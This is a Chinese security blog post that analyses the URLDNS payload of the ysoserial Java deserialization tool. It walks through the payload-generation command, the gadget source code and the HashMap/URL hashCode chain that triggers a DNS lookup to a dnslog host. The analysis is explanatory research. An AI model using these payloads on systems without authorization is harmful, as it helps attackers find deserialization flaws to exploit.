23

Java反序列化之ysoserial URLDNS模块分析

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA%3D%3D&%3Bmid=2247488073&%3Bidx=1&%3Bsn=893a7c5c94b4cfcd2e4de0d469b4ad39
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这是  酒仙桥六号部队  的第 109   篇文章。

全文共计6979个字,预计阅读时长20分钟

前言

Java反序列化漏洞 利用时,总会使用到ysoserial这款工具,安服仔用了很多,但是工具的原理却依旧不清不楚,当了这么久的脚本仔,是时候当一波(实习)研究仔,学习下这款工具各个Payload的原理了,下面我们先从漏洞探测模块URLDNS这个Payload开始学起,逐步衍生到漏洞利用模块。

为什么URLDNS模块会发送DNSLOG请求?

分析

下载ysoserial项目,打开pom.xml,程序入口在 ysoserial.GeneratePayload

meeInuU.png!mobile

打开GeneratePayload.java,找到main方法,代码如下:

E7vyiqb.png!mobile

当我们使用ysoserial执行以下命令时:

java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lyxhh.dnslog.cn"  > dnslog.ser

首先ysoserial获取外面传入的参数,并赋值给对应的变量。

inal String payloadType = args[0]; // URLDNS
final String command = args[1]; //http://lyxhh.dnslog.cn

接着执行 Utils.getPayloadClass("URLDNS"); ,根据全限定类名 ysoserial.payloads.URLDNS ,获取对应的Class类对象。

nM7zYf7.png!mobile

final ObjectPayload payload = payloadClass.newInstance();

然后通过反射创建Class类对应的对象,走完这句代码,URLDNS对象创建完成。

final Object object = payload.getObject("http://lyxhh.dnslog.cn");

接着执行URLDNS对象中的getObject方法。

J3amyuy.png!mobile

getObject方法中:

URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler对象,该对象的作用,后面我们会详细说到。

接着:

HashMap ht = new HashMap();

创建了HashMap对象:

URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);

URL对象:

ht.put(u, "http://lyxhh.dnslog.cn");

将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。

Reflections.setFieldValue(u, "hashCode", -1);

通过反射机制 设置URL对象的成员变量hashCode值为-1,为什么要设置值为-1,这问题在反序列化时会详细说到。

jeY3EbE.png!mobile

将HashMap对象返回 return ht; ,接着对 HashMap对象 进行序列化操作 Serializer.serialize(object, out); 并将序列化的结果重定向到 dnslog.ser 文件中。

MR3QF3u.png!mobile

由于HashMap中重写了writeObject方法,因此在进行序列化操作时,执行的序列化方法是HashMap中的writeObject方法,具体如下:

先执行默认的序列化操作:

7fA7nmi.png!mobile

接着 遍历HashMap,对HashMap中的key,value进行序列化。

EBjqYbM.png!mobile

综上所述,梳理下ysoserial payload,URLDNS 序列化的整个过程:

  • 首先 ysoserial 通过反射的方式,根据全限定类名 ysoserial.payloads.URLDNS ,获取对应的Class类对象,并通过Class类对象的 newInstance() 方法,获取URLDNS对象。

  • 接着执行URLDNS对象中的getObject方法。

    • 在getObject方法中,创建了URLStreamHandler 对象 URLStreamHandler handler = new SilentURLStreamHandler(); ,该对象会被URL对象引用。

    • 创建HashMap对象 HashMap ht = new HashMap(); ,URL对象 URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);

    • 将URL对象作为HashMap中的Key,DNSLOG的地址作为HashMap中的值 HashMap.put(u, "http://lyxhh.dnslog.cn");

    • 通过反射的方式 Reflections.setFieldValue(u, "hashCode", -1); ,设置URL对象中的成员变量hashCode值为-1。

    • 返回HashMap对象。

  • 然后对HashMap对象进行序列化操作 Serializer.serialize(HashMap object, out);

整个序列化过程中,有几个问题: 1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。 2、为什么要设置URL对象中的成员变量hashCode值为-1。

反序列化分析

读取上述操作生成的 dnslog.ser 文件,执行反序列化,触发DNSLOG请求:

i2uAVjE.png!mobile

为什么HashMap的反序列化过程会发送DNSLOG请求呢?

在进行反序列化操作时,由于HashMap中重写了readObject方法,因此执行的反序列化方法是HashMap中的readObject方法,如下:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject(); // 执行默认的反序列化方法
reinitialize(); //初始化变量值
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;


// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 遍历hashmap,进行反序列化操作,还原key值,这里的key值,是URL对象。
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 还原value值,这里的value值,是dnslog的请求地址,http://lyxhh.dnslog.cn
putVal(hash(key), key, value, false, false); //对key进行hash计算,确保唯一,并构造Hashmap对象。
}
}
}

readObject中,先执行默认的反序列化方法,接着还原HashMap,并计算Key,如下:

muUBruN.png!mobile

这里我们跟进hash(key)方法中。

VjYNFrU.png!mobile

接着执行了 key.hashCode() ,而key是URL对象,因此执行的是URL对象中的hashCode方法,继续跟进。

YJnYFbR.png!mobile

在序列化操作时,已经通过反射设置了URL的hashCode等于-1,因此这里会直接进入到 handler.hashCode(this); 中。

Nvim2iy.png!mobile

hashCode方法中会执行 getHostAddress(URL u) 方法,方法中调用了 InetAddress.getByName(host); 函数,从而发送DNSLOG请求。

2AZ7F3n.png!mobile

使用 InetAddress.getByName(host); ,发送DNSLOG请求。

quEVNr3.png!mobile

综上所述,梳理下ysoserial payload,URLDNS 反序列化的整个过程:

  • 首先 HashMap 重写了readObject方法,因此在反序列化过程中,执行的反序列化方法是HashMap中的readObject方法。

  • 在HashMap中的readObject方法中,会对Key进行hash计算 key.hashCode() ,而Key是URL对象,执行URL对象的hashCode方法。

  • 在URL.hashCode方法中,当hashCode成员变量值为-1时,会执行URLStreamHandler.hashCode()方法。

  • 在URLStreamHandler.hashCode()方法中,会执行 getHostAddress(URL u) 方法。

  • getHostAddress(URL u) 方法中,会执行 InetAddress.getByName(host); ,从而发送DNSLOG请求。

解决序列化时遗留的问题

1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。

URLDNS中getObject方法中。

public Object getObject(final String url) throws Exception {


URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);


Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler 对象。

这里我们先来看下SilentURLStreamHandler类。

static class SilentURLStreamHandler extends URLStreamHandler {


protected URLConnection openConnection(URL u) throws IOException {
return null;
}


protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

SilentURLStreamHandler类继承URLStreamHandler,重写了openConnection,getHostAddress方法,将方法的实现置空了。

然后将handler传递给了URL构造函数。

URL u = new URL(null, url, handler); 

在URL构造函数中,如果handler存在,则执行 this.handler = handler;

接着我们执行了HashMap的put方法 ht.put(u, url); ,这里我们跟下put方法,如下:

nAJJNvN.png!mobile

在put方法中,执行了hash(key)方法,我们跟进hash方法:

eMRfimn.png!mobile

跟进hashCode方法:

a2qQBbI.png!mobile

URL对象初始化后,hashCode值默认为-1。

jimeyme.png!mobile

因此第一次 HashMap.put 时,会进入 handler.hashCode(this)注意这里的handler是SilentURLStreamHandler的对象 ,跟进 URLStreamHandler.hashCode

bANniuv.png!mobile

URLStreamHandler.hashCode 中 存在getHostAddress()方法,在反序列化分析时,我们知道该方法会发送DNSLOG请求,为了让HashMap在第一次put 元素时,不执行DNSLOG请求,因此,ysoserial重写了getHostAddress方法,将该方法置为空实现。

流程图对比:

使用默认的URLStreamHandler。

ht.put(new URL(null, url), url); --> 
putVal(hash(key), key, value, false, true) -->
hash(key) -->
URL.hashCode() -->
URLStreamHandler.hashCode(this) -->
URLStreamHandler.getHostAddress(u) --> 发送DNSLog请求

使用重写的SilentURLStreamHandler。

URLStreamHandler handler = new SilentURLStreamHandler();
ht.put(new URL(null, url, handler), url); -->
putVal(hash(key), key, value, false, true) -->
hash(key) -->
URL.hashCode() -->
URLStreamHandler.hashCode(this) -->
SilentURLStreamHandler.getHostAddress(u) --> 空实现。
transient URLStreamHandler handler;

由于handler的类型是transient,被transient修饰的变量在序列化时,不会被存储,因此不影响反序列化链的触发。(反序列化时,handler是默认的,没有将getHostAddress方法置空,依旧可以执行DNSLOG请求)

SilentURLStreamHandler重写的openConnection函数,经过分析在URLDNS中并没有使用到,之所以存在是因为SilentURLStreamHandler类继承URLStreamHandler抽象类,必须实现该抽象类中的所有抽象方法。

NzYbamq.png!mobile

小结: URLDNS通过URL构造函数 传递 SilentURLStreamHandler类对象,该类重写了getHostAddress方法,将方法体置为空实现,旨在执行HashMap.put时,不会触发DNSLOG请求,降低对目标漏洞的误判率。

2、为什么要设置URL对象中的成员变量hashCode值为-1。

在URL对象创建时,hashCode值默认为-1。

接着进行了HashMap.put操作,计算key hash时,会执行URL.hashCode方法。

vqY7Rf.png!mobile

执行完 handler.hashCode(this) ,会重置了hashCode成员变量的值,此时该值就不为-1了,这里我们通过反射获取 经过HashMap.put后 的hashCode值,如下:

NbU3ay2.png!mobile

而hashCode变量没有被transient修饰,因此序列化时会将hashCode变量值存储进序列化数据中。

在进行反序列化操作时,由于hashCode值不为-1,不会执行 handler.hashCode(this) ,从而导致无法发送DNSLOG请求。

因此在执行完HashMap.put后,需要反射将hashCode的值设置了-1,以便反序列化执行时,可以正常发送DNSLOG请求。

网上的分析文章,绝大部分都是分析如何触发DNSLOG,但是关于ysoserial的其他细节构造却只字不提。

总结

本文从工具的命令使用出发,由浅入深的分析了URLDNS Payload 执行序列化的过程,以及反序列化时是如何触发DNSLOG请求,接着分析了ysoserial构造URLDNS Payload 的一些必要的细节,希望我的分析可以给大家带来帮助,后续我们将继续从ysoserial工具学习更多的反序列化知识。

FnYziez.png!mobile

jayqYjj.png!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK